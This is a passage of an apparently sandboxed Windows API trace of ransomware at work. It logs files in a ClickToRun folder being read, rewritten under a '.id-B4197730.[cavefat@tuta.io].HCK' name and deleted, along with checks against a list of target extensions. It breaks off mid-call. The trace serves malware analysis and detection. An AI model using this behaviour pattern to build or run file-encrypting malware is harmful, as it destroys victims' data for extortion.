lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x73aa0, lpOverlapped=0x0) returned 1 [0159.813] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x73ab0, lpOverlapped=0x0) returned 1 [0159.821] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.821] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xfa, lpOverlapped=0x0) returned 1 [0159.821] SetEndOfFile (hFile=0x364) returned 1 [0159.821] CloseHandle (hObject=0x364) returned 1 [0159.828] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.828] SetEndOfFile (hFile=0x2ec) returned 1 [0160.633] CloseHandle (hObject=0x2ec) returned 1 [0160.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0160.635] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0160.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.636] lstrlenW (lpString=".doc") returned 4 [0160.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".docx") returned 5 [0160.660] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0160.660] lstrlenW (lpString=".pdf") returned 4 [0160.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".xls") returned 4 [0160.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".xlsx") returned 5 [0160.660] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0160.660] lstrlenW (lpString=".ppt") returned 4 [0160.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString=".zip") returned 4 [0160.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".rar") returned 4 [0160.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".bz2") returned 4 [0160.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.660] lstrlenW (lpString=".7z") returned 3 [0160.660] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString=".dbf") returned 4 [0160.660] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString=".1cd") returned 4 [0160.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString=".jpg") returned 4 [0160.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.660] lstrlenW (lpString=".doc") returned 4 [0160.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".docx") returned 5 [0160.660] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0160.660] lstrlenW (lpString=".pdf") returned 4 [0160.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".xls") returned 4 [0160.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.660] lstrlenW (lpString=".xlsx") returned 5 [0160.660] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0160.660] lstrlenW (lpString=".ppt") returned 4 [0160.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.661] lstrlenW (lpString=".zip") returned 4 [0160.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.661] lstrlenW (lpString=".rar") returned 4 [0160.661] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.661] lstrlenW (lpString=".bz2") returned 4 [0160.661] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.661] lstrlenW (lpString=".7z") returned 3 [0160.661] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.661] lstrlenW (lpString=".dbf") returned 4 [0160.661] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.661] lstrlenW (lpString=".1cd") returned 4 [0160.661] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0160.661] lstrlenW (lpString=".jpg") returned 4 [0160.661] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.661] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0160.661] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0160.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0160.661] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2285736) returned 1 [0160.661] CloseHandle (hObject=0x2ec) returned 1 [0160.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0160.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0160.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0160.662] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0160.662] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.662] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.663] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.663] ReadFile (in: hFile=0x2ec, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.665] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.665] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.665] ReadFile (in: hFile=0x2ec, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.683] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.683] WriteFile (in: hFile=0x2ec, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc011a, lpOverlapped=0x0) returned 1 [0161.172] SetEndOfFile (hFile=0x2ec) returned 1 [0161.172] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0161.175] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.175] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.176] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.177] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.178] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.178] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.179] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0161.180] CloseHandle (hObject=0x2ec) returned 1 [0161.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.662] lstrlenW (lpString=".doc") returned 4 [0161.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString=".docx") returned 5 [0161.662] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0161.662] lstrlenW (lpString=".pdf") returned 4 [0161.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString=".xls") returned 4 [0161.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString=".xlsx") returned 5 [0161.662] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0161.662] lstrlenW (lpString=".ppt") returned 4 [0161.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.662] lstrlenW (lpString=".zip") returned 4 [0161.662] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString=".rar") returned 4 [0161.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.662] lstrlenW (lpString=".bz2") returned 4 [0161.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.663] lstrlenW (lpString=".7z") returned 3 [0161.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString=".dbf") returned 4 [0161.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString=".1cd") returned 4 [0161.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString=".jpg") returned 4 [0161.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString=".doc") returned 4 [0161.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString=".docx") returned 5 [0161.663] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0161.663] lstrlenW (lpString=".pdf") returned 4 [0161.663] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString=".xls") returned 4 [0161.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString=".xlsx") returned 5 [0161.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0161.663] lstrlenW (lpString=".ppt") returned 4 [0161.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.663] lstrlenW (lpString=".zip") returned 4 [0161.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString=".rar") returned 4 [0161.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.663] lstrlenW (lpString=".bz2") returned 4 [0161.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.663] lstrlenW (lpString=".7z") returned 3 [0161.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.664] lstrlenW (lpString=".dbf") returned 4 [0161.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.664] lstrlenW (lpString=".1cd") returned 4 [0161.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0161.664] lstrlenW (lpString=".jpg") returned 4 [0161.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.664] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.664] lstrlenW (lpString="AppVScripting.dll") returned 17 [0161.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0161.667] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=512216) returned 1 [0161.667] CloseHandle (hObject=0x2ec) returned 1 [0161.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0161.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0161.667] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.667] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.668] GetLastError () returned 0x0 [0161.668] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0161.684] WriteFile (in: hFile=0x374, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0161.690] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.039] WriteFile (in: hFile=0x374, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1 [0162.039] SetEndOfFile (hFile=0x374) returned 1 [0162.316] CloseHandle (hObject=0x374) returned 1 [0162.345] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.345] SetEndOfFile (hFile=0x2ec) returned 1 [0162.355] CloseHandle (hObject=0x2ec) returned 1 [0162.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.355] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0162.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.355] lstrlenW (lpString=".doc") returned 4 [0162.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.355] lstrlenW (lpString=".docx") returned 5 [0162.355] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0162.355] lstrlenW (lpString=".pdf") returned 4 [0162.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.355] lstrlenW (lpString=".xls") returned 4 [0162.355] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.355] lstrlenW (lpString=".xlsx") returned 5 [0162.356] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0162.356] lstrlenW (lpString=".ppt") returned 4 [0162.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".zip") returned 4 [0162.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".rar") returned 4 [0162.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".bz2") returned 4 [0162.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString=".7z") returned 3 [0162.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".dbf") returned 4 [0162.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".1cd") returned 4 [0162.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".jpg") returned 4 [0162.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".doc") returned 4 [0162.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".docx") returned 5 [0162.356] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0162.356] lstrlenW (lpString=".pdf") returned 4 [0162.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".xls") returned 4 [0162.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".xlsx") returned 5 [0162.356] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0162.356] lstrlenW (lpString=".ppt") returned 4 [0162.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".zip") returned 4 [0162.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".rar") returned 4 [0162.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.356] lstrlenW (lpString=".bz2") returned 4 [0162.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString=".7z") returned 3 [0162.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".dbf") returned 4 [0162.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".1cd") returned 4 [0162.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0162.356] lstrlenW (lpString=".jpg") returned 4 [0162.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.357] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0162.357] lstrlenW (lpString="concrt140.dll") returned 13 [0162.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0162.358] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=332968) returned 1 [0162.358] CloseHandle (hObject=0x2ec) returned 1 [0162.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0162.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 